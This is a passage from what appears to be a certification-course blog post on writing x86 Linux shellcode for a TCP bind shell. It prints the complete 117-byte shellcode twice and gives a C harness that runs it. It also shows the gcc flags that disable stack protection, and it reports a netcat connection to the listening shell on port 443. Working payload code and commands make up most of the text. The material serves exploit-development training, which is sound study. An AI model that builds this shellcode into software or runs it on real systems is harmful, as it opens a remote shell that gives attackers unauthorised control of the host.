os.system('rm tcp_bind_shell_x86')
if __name__ == "__main__":
main()
We generate our shellcode for a bind shell on TCP port 443:
┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 1: TCP Bind Shell]
└─# python3 wrapper.py -p 443 130 ⨯ 1 ⚙
[*] Generating shellcode for TCP bind shell on port 443
[*] Shellcode length: 117 bytes
[*] Checking for NULL bytes...
[+] No NULL bytes detected!
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x89\xc2\x31\xc0\xb0\x66\xb3\x02\x31\xc9\x51\x66\x68\x01\xbb\x66\x6a\x02\x89\xe6\x6a\x10\x56\x52\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x02\x52\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x31\xc9\x51\x51\x52\x89\xe1\xcd\x80\x50\xb0\x3f\x5b\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb0\x0b\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xcd\x80"
We can now paste the generated shellcode into our shellcode.c program:
#include<stdio.h>
#include<string.h>
unsigned char code[] =
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x89\xc2\x31\xc0\xb0\x66\xb3\x02\x31\xc9\x51\x66\x68\x01\xbb\x66\x6a\x02\x89\xe6\x6a\x10\x56\x52\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x02\x52\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x31\xc9\x51\x51\x52\x89\xe1\xcd\x80\x50\xb0\x3f\x5b\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb0\x0b\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xcd\x80";
int main()
{
printf("Shellcode Length: %dn", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
We compile the shellcode with gcc:
┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 1: TCP Bind Shell]
└─# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
We connect over netcat and confirm that our TCP bind shell is listening on our specified port, 443. Success!
Code
The assembly, python and C source code for the above Linux x86 TCP bind shell implementation can be found on my GitHub repository.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
Student ID: PA-6483
All code was written and tested using 32-bit Kali Linux:
┌──(jack㉿kali)-[~/SLAE32/Assignment 1: TCP Bind Shell]
└─$ uname -a
Linux kali 5.5.0-kali2-686-pae #1 SMP Debian 5.5.17-1kali1 (2020-04-21) i686 GNU/Linux
In the next blog post, we will be covering how to implement an x86 TCP reverse shell in assembly.
Thanks for reading!